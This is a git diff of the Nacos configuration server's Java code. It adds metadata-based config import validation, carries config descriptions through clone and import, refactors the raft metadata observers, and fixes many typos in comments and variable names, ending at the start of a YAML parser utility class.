if (configMetadata == null || CollectionUtils.isEmpty(configMetadata.getMetadata())) {
|
||||
failedData.put("succCount", 0);
|
||||
return RestResultUtils.buildResult(ResultCodeEnum.METADATA_ILLEGAL, failedData);
|
||||
}
|
||||
List<ConfigMetadata.ConfigExportItem> configExportItems = configMetadata.getMetadata();
|
||||
// check config metadata
|
||||
for (ConfigMetadata.ConfigExportItem configExportItem : configExportItems) {
|
||||
if (StringUtils.isBlank(configExportItem.getDataId()) || StringUtils.isBlank(configExportItem.getGroup())
|
||||
|| StringUtils.isBlank(configExportItem.getType())) {
|
||||
failedData.put("succCount", 0);
|
||||
return RestResultUtils.buildResult(ResultCodeEnum.METADATA_ILLEGAL, failedData);
|
||||
}
|
||||
}
|
||||
|
||||
List<ZipUtils.ZipItem> zipItemList = unziped.getZipItemList();
|
||||
Set<String> metaDataKeys = configExportItems.stream()
|
||||
.map(metaItem -> GroupKey.getKey(metaItem.getDataId(), metaItem.getGroup()))
|
||||
.collect(Collectors.toSet());
|
||||
|
||||
Map<String, String> configContentMap = new HashMap<>(zipItemList.size());
|
||||
int itemNameLength = 2;
|
||||
zipItemList.forEach(item -> {
|
||||
String itemName = item.getItemName();
|
||||
String[] groupAdnDataId = itemName.split(Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR);
|
||||
if (groupAdnDataId.length != itemNameLength) {
|
||||
Map<String, String> unrecognizedItem = new HashMap<>(2);
|
||||
unrecognizedItem.put("itemName", item.getItemName());
|
||||
unrecognizedList.add(unrecognizedItem);
|
||||
return;
|
||||
}
|
||||
|
||||
String group = groupAdnDataId[0];
|
||||
String dataId = groupAdnDataId[1];
|
||||
String key = GroupKey.getKey(dataId, group);
|
||||
// metadata does not contain config file
|
||||
if (!metaDataKeys.contains(key)) {
|
||||
Map<String, String> unrecognizedItem = new HashMap<>(2);
|
||||
unrecognizedItem.put("itemName", "未在元数据中找到: " + item.getItemName());
|
||||
unrecognizedList.add(unrecognizedItem);
|
||||
return;
|
||||
}
|
||||
String itemData = item.getItemData();
|
||||
configContentMap.put(key, itemData);
|
||||
});
|
||||
|
||||
for (ConfigMetadata.ConfigExportItem configExportItem : configExportItems) {
|
||||
String dataId = configExportItem.getDataId();
|
||||
String group = configExportItem.getGroup();
|
||||
String content = configContentMap.get(GroupKey.getKey(dataId, group));
|
||||
// config file not in metadata
|
||||
if (content == null) {
|
||||
Map<String, String> unrecognizedItem = new HashMap<>(2);
|
||||
unrecognizedItem.put("itemName", "未在文件中找到: " + group + "/" + dataId);
|
||||
unrecognizedList.add(unrecognizedItem);
|
||||
continue;
|
||||
}
|
||||
ConfigAllInfo ci = new ConfigAllInfo();
|
||||
ci.setGroup(group);
|
||||
ci.setDataId(dataId);
|
||||
ci.setContent(content);
|
||||
ci.setType(configExportItem.getType());
|
||||
ci.setDesc(configExportItem.getDesc());
|
||||
ci.setAppName(configExportItem.getAppName());
|
||||
ci.setTenant(namespace);
|
||||
configInfoList.add(ci);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute clone config operation.
|
||||
*
|
||||
@ -632,7 +807,7 @@ public class ConfigController {
|
||||
return RestResultUtils.buildResult(ResultCodeEnum.NO_SELECTED_CONFIG, failedData);
|
||||
}
|
||||
configBeansList.removeAll(Collections.singleton(null));
|
||||
|
||||
|
||||
namespace = NamespaceUtil.processNamespaceParameter(namespace);
|
||||
if (StringUtils.isNotBlank(namespace) && persistService.tenantInfoCountByTenantId(namespace) <= 0) {
|
||||
failedData.put("succCount", 0);
|
||||
@ -656,19 +831,20 @@ public class ConfigController {
|
||||
List<ConfigAllInfo> configInfoList4Clone = new ArrayList<>(queryedDataList.size());
|
||||
|
||||
for (ConfigAllInfo ci : queryedDataList) {
|
||||
SameNamespaceCloneConfigBean prarmBean = configBeansMap.get(ci.getId());
|
||||
SameNamespaceCloneConfigBean paramBean = configBeansMap.get(ci.getId());
|
||||
ConfigAllInfo ci4save = new ConfigAllInfo();
|
||||
ci4save.setTenant(namespace);
|
||||
ci4save.setType(ci.getType());
|
||||
ci4save.setGroup((prarmBean != null && StringUtils.isNotBlank(prarmBean.getGroup())) ? prarmBean.getGroup()
|
||||
ci4save.setGroup((paramBean != null && StringUtils.isNotBlank(paramBean.getGroup())) ? paramBean.getGroup()
|
||||
: ci.getGroup());
|
||||
ci4save.setDataId(
|
||||
(prarmBean != null && StringUtils.isNotBlank(prarmBean.getDataId())) ? prarmBean.getDataId()
|
||||
(paramBean != null && StringUtils.isNotBlank(paramBean.getDataId())) ? paramBean.getDataId()
|
||||
: ci.getDataId());
|
||||
ci4save.setContent(ci.getContent());
|
||||
if (StringUtils.isNotBlank(ci.getAppName())) {
|
||||
ci4save.setAppName(ci.getAppName());
|
||||
}
|
||||
ci4save.setDesc(ci.getDesc());
|
||||
configInfoList4Clone.add(ci4save);
|
||||
}
|
||||
|
||||
|
@ -97,7 +97,7 @@ public class ConfigServletInner {
|
||||
}
|
||||
int versionNum = Protocol.getVersionNumber(version);
|
||||
|
||||
// Befor 2.0.4 version, return value is put into header.
|
||||
// Before 2.0.4 version, return value is put into header.
|
||||
if (versionNum < START_LONG_POLLING_VERSION_NUM) {
|
||||
response.addHeader(Constants.PROBE_MODIFY_RESPONSE, oldResult);
|
||||
response.addHeader(Constants.PROBE_MODIFY_RESPONSE_NEW, newResult);
|
||||
@ -128,25 +128,23 @@ public class ConfigServletInner {
|
||||
final String requestIp = RequestUtil.getRemoteIp(request);
|
||||
boolean isBeta = false;
|
||||
if (lockResult > 0) {
|
||||
// LockResult > 0 means cacheItem is not null and other thread can`t delete this cacheItem
|
||||
FileInputStream fis = null;
|
||||
try {
|
||||
String md5 = Constants.NULL;
|
||||
long lastModified = 0L;
|
||||
CacheItem cacheItem = ConfigCacheService.getContentCache(groupKey);
|
||||
if (cacheItem != null) {
|
||||
if (cacheItem.isBeta()) {
|
||||
if (cacheItem.getIps4Beta().contains(clientIp)) {
|
||||
isBeta = true;
|
||||
}
|
||||
}
|
||||
|
||||
final String configType =
|
||||
(null != cacheItem.getType()) ? cacheItem.getType() : FileTypeEnum.TEXT.getFileType();
|
||||
response.setHeader("Config-Type", configType);
|
||||
FileTypeEnum fileTypeEnum = FileTypeEnum.getFileTypeEnumByFileExtensionOrFileType(configType);
|
||||
String contentTypeHeader = fileTypeEnum.getContentType();
|
||||
response.setHeader(HttpHeaderConsts.CONTENT_TYPE, contentTypeHeader);
|
||||
if (cacheItem.isBeta() && cacheItem.getIps4Beta().contains(clientIp)) {
|
||||
isBeta = true;
|
||||
}
|
||||
|
||||
final String configType =
|
||||
(null != cacheItem.getType()) ? cacheItem.getType() : FileTypeEnum.TEXT.getFileType();
|
||||
response.setHeader("Config-Type", configType);
|
||||
FileTypeEnum fileTypeEnum = FileTypeEnum.getFileTypeEnumByFileExtensionOrFileType(configType);
|
||||
String contentTypeHeader = fileTypeEnum.getContentType();
|
||||
response.setHeader(HttpHeaderConsts.CONTENT_TYPE, contentTypeHeader);
|
||||
|
||||
File file = null;
|
||||
ConfigInfoBase configInfoBase = null;
|
||||
PrintWriter out = null;
|
||||
@ -162,13 +160,11 @@ public class ConfigServletInner {
|
||||
} else {
|
||||
if (StringUtils.isBlank(tag)) {
|
||||
if (isUseTag(cacheItem, autoTag)) {
|
||||
if (cacheItem != null) {
|
||||
if (cacheItem.tagMd5 != null) {
|
||||
md5 = cacheItem.tagMd5.get(autoTag);
|
||||
}
|
||||
if (cacheItem.tagLastModifiedTs != null) {
|
||||
lastModified = cacheItem.tagLastModifiedTs.get(autoTag);
|
||||
}
|
||||
if (cacheItem.tagMd5 != null) {
|
||||
md5 = cacheItem.tagMd5.get(autoTag);
|
||||
}
|
||||
if (cacheItem.tagLastModifiedTs != null) {
|
||||
lastModified = cacheItem.tagLastModifiedTs.get(autoTag);
|
||||
}
|
||||
if (PropertyUtil.isDirectRead()) {
|
||||
configInfoBase = persistService.findConfigInfo4Tag(dataId, group, tenant, autoTag);
|
||||
@ -202,15 +198,13 @@ public class ConfigServletInner {
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if (cacheItem != null) {
|
||||
if (cacheItem.tagMd5 != null) {
|
||||
md5 = cacheItem.tagMd5.get(tag);
|
||||
}
|
||||
if (cacheItem.tagLastModifiedTs != null) {
|
||||
Long lm = cacheItem.tagLastModifiedTs.get(tag);
|
||||
if (lm != null) {
|
||||
lastModified = lm;
|
||||
}
|
||||
if (cacheItem.tagMd5 != null) {
|
||||
md5 = cacheItem.tagMd5.get(tag);
|
||||
}
|
||||
if (cacheItem.tagLastModifiedTs != null) {
|
||||
Long lm = cacheItem.tagLastModifiedTs.get(tag);
|
||||
if (lm != null) {
|
||||
lastModified = lm;
|
||||
}
|
||||
}
|
||||
if (PropertyUtil.isDirectRead()) {
|
||||
@ -302,6 +296,12 @@ public class ConfigServletInner {
|
||||
ConfigCacheService.releaseReadLock(groupKey);
|
||||
}
|
||||
|
||||
/**
|
||||
* Try to add read lock.
|
||||
*
|
||||
* @param groupKey groupKey string value.
|
||||
* @return 0 - No data and failed. Positive number - lock succeeded. Negative number - lock failed。
|
||||
*/
|
||||
private static int tryConfigReadLock(String groupKey) {
|
||||
|
||||
// Lock failed by default.
|
||||
|
@ -16,13 +16,15 @@
|
||||
|
||||
package com.alibaba.nacos.config.server.filter;
|
||||
|
||||
import com.alibaba.nacos.common.utils.ExceptionUtil;
|
||||
import com.alibaba.nacos.common.notify.Event;
|
||||
import com.alibaba.nacos.common.notify.NotifyCenter;
|
||||
import com.alibaba.nacos.common.notify.listener.SmartSubscriber;
|
||||
import com.alibaba.nacos.common.utils.CollectionUtils;
|
||||
import com.alibaba.nacos.common.utils.ExceptionUtil;
|
||||
import com.alibaba.nacos.config.server.constant.Constants;
|
||||
import com.alibaba.nacos.config.server.model.event.RaftDbErrorEvent;
|
||||
import com.alibaba.nacos.config.server.model.event.RaftDbErrorRecoverEvent;
|
||||
import com.alibaba.nacos.consistency.ProtocolMetaData;
|
||||
import com.alibaba.nacos.consistency.cp.CPProtocol;
|
||||
import com.alibaba.nacos.consistency.cp.MetadataKey;
|
||||
import com.alibaba.nacos.core.cluster.Member;
|
||||
@ -107,16 +109,21 @@ public class CurcuitFilter implements Filter {
|
||||
}
|
||||
|
||||
private void listenerSelfInCluster() {
|
||||
protocol.protocolMetaData()
|
||||
.subscribe(Constants.CONFIG_MODEL_RAFT_GROUP, MetadataKey.RAFT_GROUP_MEMBER, (o, arg) -> {
|
||||
final List<String> peers = (List<String>) arg;
|
||||
final Member self = memberManager.getSelf();
|
||||
final String raftAddress =
|
||||
self.getIp() + ":" + self.getExtendVal(MemberMetaDataConstants.RAFT_PORT);
|
||||
// Only when you are in the cluster and the current Leader is
|
||||
// elected can you provide external services
|
||||
isOpenService = peers.contains(raftAddress);
|
||||
});
|
||||
protocol.protocolMetaData().subscribe(Constants.CONFIG_MODEL_RAFT_GROUP, MetadataKey.RAFT_GROUP_MEMBER, o -> {
|
||||
if (!(o instanceof ProtocolMetaData.ValueItem)) {
|
||||
return;
|
||||
}
|
||||
final List<String> peers = (List<String>) ((ProtocolMetaData.ValueItem) o).getData();
|
||||
if (CollectionUtils.isEmpty(peers)) {
|
||||
isOpenService = false;
|
||||
return;
|
||||
}
|
||||
final Member self = memberManager.getSelf();
|
||||
final String raftAddress = self.getIp() + ":" + self.getExtendVal(MemberMetaDataConstants.RAFT_PORT);
|
||||
// Only when you are in the cluster and the current Leader is
|
||||
// elected can you provide external services
|
||||
isOpenService = peers.contains(raftAddress);
|
||||
});
|
||||
}
|
||||
|
||||
private void registerSubscribe() {
|
||||
|
@ -148,7 +148,7 @@ public final class TaskManager extends NacosDelayTaskExecuteEngine implements Ta
|
||||
ObjectName oName = new ObjectName(this.name + ":type=" + TaskManager.class.getSimpleName());
|
||||
ManagementFactory.getPlatformMBeanServer().registerMBean(this, oName);
|
||||
} catch (Exception e) {
|
||||
LOGGER.error("registerMBean_fail", "注册mbean出错", e);
|
||||
LOGGER.error("registerMBean_fail", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -26,7 +26,7 @@ import java.io.Serializable;
|
||||
|
||||
/**
|
||||
* ConfigInfoBase.
|
||||
* And can't add field, to compatible with old interface(If adding a field, then it will occour compatibility problems).
|
||||
* And can't add field, to compatible with old interface(If adding a field, then it will occur compatibility problems).
|
||||
*
|
||||
* @author Nacos
|
||||
*/
|
||||
|
@ -18,7 +18,7 @@ package com.alibaba.nacos.config.server.model;
|
||||
|
||||
/**
|
||||
* ConfigInfoBaseEx.
|
||||
* And can't add field, to compatible with old interface(If adding a field, then it will occour compatibility problems).
|
||||
* And can't add field, to compatible with old interface(If adding a field, then it will occur compatibility problems).
|
||||
*
|
||||
* @author Nacos
|
||||
*/
|
||||
|
@ -0,0 +1,110 @@
|
||||
/*
|
||||
* Copyright 1999-2018 Alibaba Group Holding Ltd.
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package com.alibaba.nacos.config.server.model;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* config export Metadata.
|
||||
*
|
||||
* @author Nacos
|
||||
*/
|
||||
public class ConfigMetadata {
|
||||
|
||||
private List<ConfigExportItem> metadata;
|
||||
|
||||
public static class ConfigExportItem {
|
||||
|
||||
private String group;
|
||||
|
||||
private String dataId;
|
||||
|
||||
private String desc;
|
||||
|
||||
private String type;
|
||||
|
||||
private String appName;
|
||||
|
||||
public String getGroup() {
|
||||
return group;
|
||||
}
|
||||
|
||||
public void setGroup(String group) {
|
||||
this.group = group;
|
||||
}
|
||||
|
||||
public String getDataId() {
|
||||
return dataId;
|
||||
}
|
||||
|
||||
public void setDataId(String dataId) {
|
||||
this.dataId = dataId;
|
||||
}
|
||||
|
||||
public String getDesc() {
|
||||
return desc;
|
||||
}
|
||||
|
||||
public void setDesc(String desc) {
|
||||
this.desc = desc;
|
||||
}
|
||||
|
||||
public String getType() {
|
||||
return type;
|
||||
}
|
||||
|
||||
public void setType(String type) {
|
||||
this.type = type;
|
||||
}
|
||||
|
||||
public String getAppName() {
|
||||
return appName;
|
||||
}
|
||||
|
||||
public void setAppName(String appName) {
|
||||
this.appName = appName;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object o) {
|
||||
if (this == o) {
|
||||
return true;
|
||||
}
|
||||
if (o == null || getClass() != o.getClass()) {
|
||||
return false;
|
||||
}
|
||||
ConfigExportItem that = (ConfigExportItem) o;
|
||||
return Objects.equals(group, that.group) && Objects.equals(dataId, that.dataId) && Objects
|
||||
.equals(desc, that.desc) && Objects.equals(type, that.type) && Objects
|
||||
.equals(appName, that.appName);
|
||||
}
|
||||
|
||||
@Override
|
||||
public int hashCode() {
|
||||
return Objects.hash(group, dataId, desc, type, appName);
|
||||
}
|
||||
}
|
||||
|
||||
public List<ConfigExportItem> getMetadata() {
|
||||
return metadata;
|
||||
}
|
||||
|
||||
public void setMetadata(List<ConfigExportItem> metadata) {
|
||||
this.metadata = metadata;
|
||||
}
|
||||
}
|
@ -47,7 +47,7 @@ public enum ResultCodeEnum implements IResultCode {
|
||||
|
||||
DATA_EMPTY(100005, "导入的文件数据为空"),
|
||||
|
||||
NO_SELECTED_CONFIG(100006, "没有选择任何配制");
|
||||
NO_SELECTED_CONFIG(100006, "没有选择任何配置");
|
||||
|
||||
private int code;
|
||||
|
||||
|
@ -42,8 +42,8 @@ public class ClientTrackService {
|
||||
/**
|
||||
* TrackClientMd5.
|
||||
*
|
||||
* @param ip ip string value.
|
||||
* @param clientMd5Map clientMd5Map.
|
||||
* @param ip ip string value.
|
||||
* @param clientMd5Map clientMd5Map.
|
||||
* @param clientLastPollingTsMap clientLastPollingTsMap.
|
||||
*/
|
||||
public static void trackClientMd5(String ip, Map<String, String> clientMd5Map,
|
||||
@ -57,8 +57,8 @@ public class ClientTrackService {
|
||||
/**
|
||||
* Put the specified value(ip/groupKey/clientMd5) into clientRecords Map.
|
||||
*
|
||||
* @param ip ip string value.
|
||||
* @param groupKey groupKey string value.
|
||||
* @param ip ip string value.
|
||||
* @param groupKey groupKey string value.
|
||||
* @param clientMd5 clientMd5 string value.
|
||||
*/
|
||||
public static void trackClientMd5(String ip, String groupKey, String clientMd5) {
|
||||
@ -76,11 +76,11 @@ public class ClientTrackService {
|
||||
public static int subscribeClientCount() {
|
||||
return clientRecords.size();
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Get all of subsciber count.
|
||||
* Get all of subscriber count.
|
||||
*
|
||||
* @return all of subsciber count.
|
||||
* @return all of subscriber count.
|
||||
*/
|
||||
public static long subscriberCount() {
|
||||
long count = 0;
|
||||
@ -92,7 +92,6 @@ public class ClientTrackService {
|
||||
|
||||
/**
|
||||
* Groupkey -> SubscriberStatus.
|
||||
*
|
||||
*/
|
||||
public static Map<String, SubscriberStatus> listSubStatus(String ip) {
|
||||
Map<String, SubscriberStatus> status = new HashMap<String, SubscriberStatus>(100);
|
||||
@ -134,9 +133,8 @@ public class ClientTrackService {
|
||||
}
|
||||
|
||||
/**
|
||||
* Specify subscriber's ip and look up whether data is lastest.
|
||||
* Specify subscriber's ip and look up whether data is latest.
|
||||
* groupKey -> isUptodate.
|
||||
*
|
||||
*/
|
||||
public static Map<String, Boolean> isClientUptodate(String ip) {
|
||||
Map<String, Boolean> result = new HashMap<String, Boolean>(100);
|
||||
@ -150,7 +148,7 @@ public class ClientTrackService {
|
||||
}
|
||||
|
||||
/**
|
||||
* Specify groupKey and look up whether subsciber and data is lastest.
|
||||
* Specify groupKey and look up whether subscriber and data is latest.
|
||||
* IP -> isUptodate.
|
||||
*/
|
||||
public static Map<String, Boolean> listSubscriberByGroup(String groupKey) {
|
||||
|
@ -231,8 +231,8 @@ public class ConfigCacheService {
|
||||
try {
|
||||
final String md5 = MD5Utils.md5Hex(content, Constants.ENCODE);
|
||||
if (!PropertyUtil.isDirectRead()) {
|
||||
String loacalMd5 = DiskUtil.getLocalConfigMd5(dataId, group, tenant);
|
||||
if (md5.equals(loacalMd5)) {
|
||||
String localMd5 = DiskUtil.getLocalConfigMd5(dataId, group, tenant);
|
||||
if (md5.equals(localMd5)) {
|
||||
DUMP_LOG.warn("[dump-ignore] ignore to save cache file. groupKey={}, md5={}, lastModifiedOld={}, "
|
||||
+ "lastModifiedNew={}", groupKey, md5, ConfigCacheService.getLastModifiedTs(groupKey),
|
||||
lastModifiedTs);
|
||||
@ -607,11 +607,11 @@ public class ConfigCacheService {
|
||||
}
|
||||
|
||||
/**
|
||||
* Try to add read lock. If it successed, then it can call {@link #releaseWriteLock(String)}.And it won't call if
|
||||
* Try to add read lock. If it succeeded, then it can call {@link #releaseWriteLock(String)}.And it won't call if
|
||||
* failed.
|
||||
*
|
||||
* @param groupKey groupKey string value.
|
||||
* @return 0 - No data and failed. Positive number 0 - Success. Negative number - lock failed。
|
||||
* @return 0 - No data and failed. Positive number - lock succeeded. Negative number - lock failed。
|
||||
*/
|
||||
public static int tryReadLock(String groupKey) {
|
||||
CacheItem groupItem = CACHE.get(groupKey);
|
||||
@ -635,7 +635,7 @@ public class ConfigCacheService {
|
||||
}
|
||||
|
||||
/**
|
||||
* Try to add write lock. If it successed, then it can call {@link #releaseWriteLock(String)}.And it won't call if
|
||||
* Try to add write lock. If it succeeded, then it can call {@link #releaseWriteLock(String)}.And it won't call if
|
||||
* failed.
|
||||
*
|
||||
* @param groupKey groupKey string value.
|
||||
|
@ -129,26 +129,26 @@ public class ConfigSubService {
|
||||
*/
|
||||
public SampleResult mergeSampleResult(SampleResult sampleCollectResult, List<SampleResult> sampleResults) {
|
||||
SampleResult mergeResult = new SampleResult();
|
||||
Map<String, String> lisentersGroupkeyStatus = null;
|
||||
Map<String, String> listenersGroupkeyStatus = null;
|
||||
if (sampleCollectResult.getLisentersGroupkeyStatus() == null || sampleCollectResult.getLisentersGroupkeyStatus()
|
||||
.isEmpty()) {
|
||||
lisentersGroupkeyStatus = new HashMap<String, String>(10);
|
||||
listenersGroupkeyStatus = new HashMap<String, String>(10);
|
||||
} else {
|
||||
lisentersGroupkeyStatus = sampleCollectResult.getLisentersGroupkeyStatus();
|
||||
listenersGroupkeyStatus = sampleCollectResult.getLisentersGroupkeyStatus();
|
||||
}
|
||||
|
||||
for (SampleResult sampleResult : sampleResults) {
|
||||
Map<String, String> lisentersGroupkeyStatusTmp = sampleResult.getLisentersGroupkeyStatus();
|
||||
for (Map.Entry<String, String> entry : lisentersGroupkeyStatusTmp.entrySet()) {
|
||||
lisentersGroupkeyStatus.put(entry.getKey(), entry.getValue());
|
||||
Map<String, String> listenersGroupkeyStatusTmp = sampleResult.getLisentersGroupkeyStatus();
|
||||
for (Map.Entry<String, String> entry : listenersGroupkeyStatusTmp.entrySet()) {
|
||||
listenersGroupkeyStatus.put(entry.getKey(), entry.getValue());
|
||||
}
|
||||
}
|
||||
mergeResult.setLisentersGroupkeyStatus(lisentersGroupkeyStatus);
|
||||
mergeResult.setLisentersGroupkeyStatus(listenersGroupkeyStatus);
|
||||
return mergeResult;
|
||||
}
|
||||
|
||||
/**
|
||||
* Query subsrciber's task from every nacos server nodes.
|
||||
* Query subscriber's task from every nacos server nodes.
|
||||
*
|
||||
* @author Nacos
|
||||
*/
|
||||
@ -177,8 +177,7 @@ public class ConfigSubService {
|
||||
}
|
||||
|
||||
String urlAll = getUrl(ip, url) + "?" + paramUrl;
|
||||
RestResult<String> result = NotifyService
|
||||
.invokeURL(urlAll, null, Constants.ENCODE);
|
||||
RestResult<String> result = NotifyService.invokeURL(urlAll, null, Constants.ENCODE);
|
||||
|
||||
// Http code 200
|
||||
if (result.ok()) {
|
||||
|
@ -54,6 +54,8 @@ public class ExternalDataSourceServiceImpl implements DataSourceService {
|
||||
|
||||
private static final int TRANSACTION_QUERY_TIMEOUT = 5;
|
||||
|
||||
private static final int DB_MASTER_SELECT_THRESHOLD = 1;
|
||||
|
||||
private static final String DB_LOAD_ERROR_MSG = "[db-load-error]load jdbc.properties error";
|
||||
|
||||
private List<HikariDataSource> dataSourceList = new ArrayList<>();
|
||||
@ -106,8 +108,10 @@ public class ExternalDataSourceServiceImpl implements DataSourceService {
|
||||
e.printStackTrace();
|
||||
throw new RuntimeException(DB_LOAD_ERROR_MSG);
|
||||
}
|
||||
|
||||
ConfigExecutor.scheduleConfigTask(new SelectMasterTask(), 10, 10, TimeUnit.SECONDS);
|
||||
|
||||
if (this.dataSourceList.size() > DB_MASTER_SELECT_THRESHOLD) {
|
||||
ConfigExecutor.scheduleConfigTask(new SelectMasterTask(), 10, 10, TimeUnit.SECONDS);
|
||||
}
|
||||
ConfigExecutor.scheduleConfigTask(new CheckDbHealthTask(), 10, 10, TimeUnit.SECONDS);
|
||||
}
|
||||
}
|
||||
|
@ -67,6 +67,7 @@ import java.util.Random;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
import java.util.concurrent.atomic.AtomicInteger;
|
||||
|
||||
import static com.alibaba.nacos.config.server.utils.LogUtil.DUMP_LOG;
|
||||
import static com.alibaba.nacos.config.server.utils.LogUtil.FATAL_LOG;
|
||||
|
||||
/**
|
||||
@ -343,15 +344,25 @@ public abstract class DumpService {
|
||||
dump(dataId, group, tenant, lastModified, handleIp, false);
|
||||
}
|
||||
|
||||
/**
|
||||
* Add DumpTask to TaskManager, it will execute asynchronously.
|
||||
*/
|
||||
public void dump(String dataId, String group, String tenant, long lastModified, String handleIp, boolean isBeta) {
|
||||
String groupKey = GroupKey2.getKey(dataId, group, tenant);
|
||||
dumpTaskMgr.addTask(groupKey, new DumpTask(groupKey, lastModified, handleIp, isBeta));
|
||||
String taskKey = String.join("+", dataId, group, tenant, String.valueOf(isBeta));
|
||||
dumpTaskMgr.addTask(taskKey, new DumpTask(groupKey, lastModified, handleIp, isBeta));
|
||||
DUMP_LOG.info("[dump-task] add task. groupKey={}, taskKey={}", groupKey, taskKey);
|
||||
}
|
||||
|
||||
/**
|
||||
* Add DumpTask to TaskManager, it will execute asynchronously.
|
||||
*/
|
||||
public void dump(String dataId, String group, String tenant, String tag, long lastModified, String handleIp,
|
||||
boolean isBeta) {
|
||||
String groupKey = GroupKey2.getKey(dataId, group, tenant);
|
||||
dumpTaskMgr.addTask(groupKey, new DumpTask(groupKey, tag, lastModified, handleIp, isBeta));
|
||||
String taskKey = String.join("+", dataId, group, tenant, String.valueOf(isBeta), tag);
|
||||
dumpTaskMgr.addTask(taskKey, new DumpTask(groupKey, tag, lastModified, handleIp, isBeta));
|
||||
DUMP_LOG.info("[dump-task] add task. groupKey={}, taskKey={}", groupKey, taskKey);
|
||||
}
|
||||
|
||||
public void dumpAll() {
|
||||
|
@ -24,12 +24,13 @@ import com.alibaba.nacos.config.server.configuration.ConditionOnEmbeddedStorage;
|
||||
import com.alibaba.nacos.config.server.constant.Constants;
|
||||
import com.alibaba.nacos.config.server.service.repository.PersistService;
|
||||
import com.alibaba.nacos.config.server.service.sql.EmbeddedStorageContextUtils;
|
||||
import com.alibaba.nacos.consistency.ProtocolMetaData;
|
||||
import com.alibaba.nacos.consistency.cp.CPProtocol;
|
||||
import com.alibaba.nacos.consistency.cp.MetadataKey;
|
||||
import com.alibaba.nacos.core.cluster.ServerMemberManager;
|
||||
import com.alibaba.nacos.core.distributed.ProtocolManager;
|
||||
import com.alibaba.nacos.sys.env.EnvUtil;
|
||||
import com.alibaba.nacos.core.utils.GlobalExecutor;
|
||||
import com.alibaba.nacos.sys.env.EnvUtil;
|
||||
import org.springframework.context.annotation.Conditional;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
@ -89,7 +90,11 @@ public class EmbeddedDumpService extends DumpService {
|
||||
Observer observer = new Observer() {
|
||||
|
||||
@Override
|
||||
public void update(Observable o, Object arg) {
|
||||
public void update(Observable o) {
|
||||
if (!(o instanceof ProtocolMetaData.ValueItem)) {
|
||||
return;
|
||||
}
|
||||
final Object arg = ((ProtocolMetaData.ValueItem) o).getData();
|
||||
GlobalExecutor.executeByCommon(() -> {
|
||||
// must make sure that there is a value here to perform the correct operation that follows
|
||||
if (Objects.isNull(arg)) {
|
||||
|
@ -406,7 +406,7 @@ public class DistributedDatabaseOperateImpl extends RequestProcessor4CP implemen
|
||||
}
|
||||
return RestResultUtils.success();
|
||||
} catch (Throwable ex) {
|
||||
LogUtil.DEFAULT_LOG.error("data import has error : {}", ex);
|
||||
LogUtil.DEFAULT_LOG.error("data import has error :", ex);
|
||||
return RestResultUtils.failed(ex.getMessage());
|
||||
}
|
||||
});
|
||||
|
@ -2351,6 +2351,7 @@ public class EmbeddedStoragePersistServiceImpl implements PersistService {
|
||||
configAdvanceInfo = new HashMap<>(16);
|
||||
}
|
||||
configAdvanceInfo.put("type", type);
|
||||
configAdvanceInfo.put("desc", configInfo.getDesc());
|
||||
try {
|
||||
addConfigInfo(srcIp, srcUser, configInfo2Save, time, configAdvanceInfo, notify, callFinally);
|
||||
succCount++;
|
||||
|
@ -2599,6 +2599,7 @@ public class ExternalStoragePersistServiceImpl implements PersistService {
|
||||
configAdvanceInfo = new HashMap<>(16);
|
||||
}
|
||||
configAdvanceInfo.put("type", type);
|
||||
configAdvanceInfo.put("desc", configInfo.getDesc());
|
||||
try {
|
||||
addConfigInfo(srcIp, srcUser, configInfo2Save, time, configAdvanceInfo, notify);
|
||||
succCount++;
|
||||
|
@ -0,0 +1,141 @@
|
||||
/*
|
||||
* Copyright 1999-2018 Alibaba Group Holding Ltd.
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package com.alibaba.nacos.config.server.utils;
|
||||
|
||||
import com.alibaba.nacos.api.exception.NacosException;
|
||||
import com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;
|
||||
import com.alibaba.nacos.common.utils.CollectionUtils;
|
||||
import com.alibaba.nacos.config.server.model.ConfigMetadata;
|
||||
import org.yaml.snakeyaml.constructor.AbstractConstruct;
|
||||
import org.yaml.snakeyaml.constructor.SafeConstructor;
|
||||
import org.yaml.snakeyaml.introspector.Property;
|
||||
import org.yaml.snakeyaml.Yaml;
|
||||
import org.yaml.snakeyaml.nodes.MappingNode;
|
||||
import org.yaml.snakeyaml.nodes.Node;
|
||||
import org.yaml.snakeyaml.nodes.NodeTuple;
|
||||
import org.yaml.snakeyaml.nodes.ScalarNode;
|
||||
import org.yaml.snakeyaml.nodes.SequenceNode;
|
||||
import org.yaml.snakeyaml.nodes.Tag;
|
||||
import org.yaml.snakeyaml.representer.Representer;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
* YamlParserUtil.
|
||||
*
|
||||
* @author Nacos
|
||||
*/
|
||||
public class YamlParserUtil {
|
||||
|
||||
